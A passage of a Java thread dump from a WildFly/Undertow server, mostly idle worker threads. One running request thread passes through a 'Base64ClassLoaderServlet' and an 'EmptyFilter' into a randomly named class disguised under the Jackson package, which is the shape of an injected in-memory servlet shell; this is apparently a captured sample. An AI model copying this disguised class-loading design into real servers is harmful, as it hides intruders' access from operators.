java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"ServerService Thread Pool -- 32" #57 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"MSC service thread 1-4" #17 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f945000 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"MSC service thread 1-1" #14 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f945000 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"default task-7" #136 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1610) + at com.fasterxml.jackson.eNpdl.ErrorHandler.toString(BasicInfoPrinter.java:26) + at io.undertow.servlet.spec.ServletPrintWriter.print(ServletPrintWriter.java:336) + at io.undertow.servlet.spec.ServletPrintWriterDelegate.print(ServletPrintWriterDelegate.java:174) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:85) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:129) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:60) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:84) + at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62) + at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) + at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:131) + at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46) + at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64) + at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60) + at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77) + at io.undertow.security.handlers.NotificationReceiverHandler.handleRequest(NotificationReceiverHandler.java:50) + at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler.handleRequest(JACCContextIdHandler.java:61) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:284) + at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:263) + at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:81) + at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:174) + at io.undertow.server.Connectors.executeRootHandler(Connectors.java:202) + at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:793) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"ServerService Thread Pool -- 44" #69 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ejb-client-context-tasks-2-thread-2" #121 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f4dd68c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"default I/O-5" #91 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"ServerService Thread Pool -- 30" #55 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1cc2b062 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 41" #66 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 57" #82 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"default I/O-11" #97 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"default I/O-19" #105 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"default I/O-1" #87 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"ServerService Thread Pool -- 47" #72 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 27" #50 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 8" #31 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"Transaction Reaper Worker 0" #118 daemon [WAITING] on java.util.LinkedList@166d6e5d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.arjuna.ats.arjuna.coordinator.TransactionReaper.waitForCancellations(TransactionReaper.java:328) + at com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread.run(ReaperWorkerThread.java:65) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@bacaec5 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"ServerService Thread Pool -- 40" #65 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 12" #35 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"MSC service thread 1-8" #21 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7f945000 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"ServerService Thread Pool -- 63" #127 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 10" #33 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 4" #27 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"Transaction Reaper" #117 daemon [TIMED_WAITING] on com.arjuna.ats.arjuna.coordinator.TransactionReaper@4a14e08a + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.arjuna.ats.internal.arjuna.coordinator.ReaperThread.run(ReaperThread.java:90) + +"ServerService Thread Pool -- 46" #71 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 7" #30 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"ServerService Thread Pool -- 1" #24 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1cc2b062 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"IdleRemover" #110 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43dc080a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163) + at org.jboss.jca.core.connectionmanager.pool.idle.IdleRemover$IdleRemoverRunner.run(IdleRemover.java:261) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"default I/O-15" #101 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"ServerService Thread Pool -- 24" #47 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3331e5bb + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at org.jboss.threads.JBossThread.run(JBossThread.java:320) + +"Reference Reaper" #10 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@3e3e89aa + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at org.jboss.modules.ref.References$ReaperThread.run(References.java:64) + +"default I/O-4" #90 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"default I/O-3" #89 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:509) + +"default task-4" #133 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@370e7705 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"default I/O-7" #93 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at 